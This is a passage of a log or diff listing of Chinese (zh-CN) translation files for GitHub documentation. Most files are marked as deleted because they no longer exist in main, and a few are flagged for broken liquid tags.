-translations/zh-CN/content/issues/tracking-your-work-with-issues/about-task-lists.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/trying-out-the-new-projects-experience/about-projects.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/trying-out-the-new-projects-experience/automating-projects.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/trying-out-the-new-projects-experience/creating-a-project.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/trying-out-the-new-projects-experience/filtering-projects.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/trying-out-the-new-projects-experience/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-iterations.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-projects.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/trying-out-the-new-projects-experience/migrating-your-project.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/trying-out-the-new-projects-experience/quickstart.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/trying-out-the-new-projects-experience/using-insights-with-projects.md,file deleted because it no longer exists in main -translations/zh-CN/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-your-organizations-installed-integrations.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/managing-access-to-your-organizations-apps/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/removing-an-outside-collaborator-from-an-organization-repository.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md,file deleted because it no longer exists in main -translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md,file deleted because it no longer exists in main -translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md,file deleted because it no longer exists in main -translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/guides/traversing-with-pagination.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/actions.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/activity.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/apps.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/billing.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/branches.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/checks.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/code-scanning.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/codes-of-conduct.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/collaborators.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/commits.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/dependabot.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/dependency-graph.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/deployments.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/emojis.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/enterprise-admin.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/gists.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/git.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/gitignore.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/index.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/interactions.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/issues.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/licenses.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/markdown.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/meta.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/metrics.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/migrations.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/oauth-authorizations.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/orgs.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/packages.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/pages.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/projects.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/pulls.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/rate-limit.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/reactions.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/releases.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/repos.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/scim.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/search.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/secret-scanning.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/teams.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/users.md,file deleted because it no longer exists in main -translations/zh-CN/content/rest/reference/webhooks.md,file deleted because it no longer exists in main -translations/zh-CN/content/site-policy/privacy-policies/github-data-protection-agreement.md,file deleted because it no longer exists in main -translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md,file deleted because it no longer exists in main -translations/zh-CN/data/features/ip-allow-list-address-check.yml,file deleted because it no longer exists in main -translations/zh-CN/data/features/security-overview-views.yml,file deleted because it no longer exists in main -translations/zh-CN/data/glossaries/internal.yml,file deleted because it no longer exists in main -translations/zh-CN/data/graphql/ghes-3.1/graphql_previews.enterprise.yml,file deleted because it no longer exists in main -translations/zh-CN/data/graphql/ghes-3.2/graphql_previews.enterprise.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/0.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/1.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/10.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/11.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/12.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/13.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/14.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/16.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/17.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/18.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/19.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/2.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/20.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/21.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/22.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/23.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/24.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/3.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/4.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/5.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/6.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/7.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/8.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-20/9.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/0.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/1.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/10.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/11.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/12.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/13.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/14.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/15.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/16.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/18.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/19.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/2.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/20.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/21.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/22.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/23.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/3.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/4.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/5.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/7.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/8.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-21/9.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-22/10.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-22/11.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-22/12.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-22/13.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-22/14.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-22/15.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-22/16.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-22/17.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-22/18.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-22/19.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-22/20.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-22/21.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-22/22.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-22/4.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-22/5.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/2-22/6.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/0-rc1.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/0-rc2.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/10.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/11.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/12.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/13.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/14.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/15.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/16.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/17.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/18.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/19.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/20.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/21.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/22.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/23.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/24.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/25.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/4.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/5.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/6.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/7.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/8.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-0/9.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/0-rc1.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/10.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/11.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/12.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/13.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/14.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/15.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/16.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/17.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/18.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/19.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/20.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/21.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/22.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/3.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/5.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/6.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/7.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/8.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-1/9.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/1.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/10.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/11.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/12.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/13.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/14.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/15.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/16.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/18.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/2.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/3.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/4.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/5.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/6.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/7.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/8.yml,file deleted because it no longer exists in main -translations/zh-CN/data/release-notes/enterprise-server/3-2/9.yml,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/actions/enterprise-s3-support-warning.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/actions/hardware-requirements-3.6.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/actions/link-to-example-library.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/actions/minio-gateways-removal.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/actions/perform-blob-storage-precheck.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/actions/reusable-workflows-ghes-beta.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/actions/self-hosted-runner-configure-runner-group-access.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/actions/self-hosted-runner-configure-runner-group.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/actions/self-hosted-runner-create-group.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/actions/self-hosted-runner-groups-add-to-enterprise-first-steps.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/actions/self-hosted-runner-groups-navigate-to-repo-org-enterprise.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/apps/metadata-permissions.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/billing/about-invoices-for-enterprises.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/billing/per-user-pricing-reference.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/codespaces/about-billing-for-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/codespaces/about-personalization.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/codespaces/apply-devcontainer-changes.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/codespaces/availability.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/codespaces/beta-functionality-limited.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/codespaces/billing-for-prebuilds-default.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/codespaces/billing-for-prebuilds-reducing.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/codespaces/billing-for-prebuilds.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/codespaces/codespaces-api-beta-note.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/codespaces/codespaces-billing.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/codespaces/concurrent-codespace-limit.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/codespaces/prebuilds-beta-note.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/codespaces/prebuilds-not-available.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/codespaces/review-pr.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/codespaces/unsupported-repos.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/codespaces/vscode-settings-order.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/dependabot/beta-security-and-version-updates-onboarding.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/dependabot/create-dependabot-yml.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/dependabot/dependabot-secrets-button.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/dependency-review/beta.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/dependency-review/dependency-review-api-beta-note.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/desktop/paste-email-git-config.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/dotcom_billing/codespaces-minutes.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/dotcom_billing/monthly-spending-limit-codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/education/upgrade-organization.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/education/upgrade-page.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/enterprise-accounts/oidc-beta-notice.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/enterprise-accounts/repository-visibility-policy.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/enterprise-licensing/you-can-sync-for-a-combined-view.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/enterprise/upgrade-ghes-for-actions.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/enterprise_installation/upgrade-hardware-requirements.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/enterprise_management_console/username_normalization_sample.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/gated-features/advanced-security.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/gated-features/codespaces.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/gated-features/discussions.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/gated-features/security-center.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/getting-started/learning-lab-enterprise.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/getting-started/learning-lab.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/open-source/open-source-learning-lab.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/organizations/organizations_include.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/package_registry/authenticate_with_pat_for_container_registry.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/pages/pages-builds-with-github-actions-public-beta.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/repositories/squash-and-rebase-linear-commit-hisitory.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-api/dotcom-only-guide-note.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/apps/oauth-applications.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/branches/branch-protection.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/checks/runs.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/deployments/statuses.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/enterprise-admin/audit-log.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/enterprise-admin/billing.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/interactions/interactions.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/issues/assignees.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/issues/labels.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/issues/milestones.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/metrics/community.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/orgs/custom_roles.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/orgs/members.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/orgs/outside-collaborators.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/projects/cards.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/projects/collaborators.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/projects/columns.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/pulls/review-requests.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/repos/forks.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/repos/lfs.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/users/blocking.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/users/emails.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/users/followers.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/users/keys.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/rest-reference/webhooks/repos.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/security-center/beta.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/security-center/permissions.md,file deleted because it no longer exists in main -translations/zh-CN/data/reusables/server-statistics/release-phase.md,file deleted because it no longer exists in main -translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md,broken liquid tags -translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md,broken liquid tags -translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md,broken liquid tags -translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,broken liquid tags -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md,broken liquid tags -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md,broken liquid tags -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md,broken liquid tags -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md,broken liquid tags -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md,broken liquid tags -translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md,broken liquid tags 